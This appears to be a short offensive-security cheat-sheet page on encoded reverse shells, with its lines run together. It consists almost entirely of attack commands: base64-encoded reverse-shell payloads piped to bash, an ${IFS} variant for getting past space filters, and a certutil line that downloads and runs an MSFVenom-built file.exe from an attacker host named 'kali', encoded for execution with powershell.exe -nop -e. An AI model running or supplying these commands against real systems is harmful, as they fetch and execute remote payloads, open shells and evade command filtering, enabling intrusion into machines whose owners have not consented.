Encoded Reverse shell
Command
echo 'REVERSE_SHELL_PAYLOAD' | base64echo 'BASE64_REVSHELL'|base64 -d|bashecho${IFS}BASE64_SHELL|base64${IFS}-d|bashPayload to be encoded:
certutil.exe -f -urlcache http://kali/file.exe file.exe; .\file.exeEncoding :
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes('certutil.exe -f -urlcache http://kali/file.exe file.exe; .\file.exe'))Executing :
powershell.exe -nop -e [above encoded code]File.exe has been generated using MSFVenom
Last updated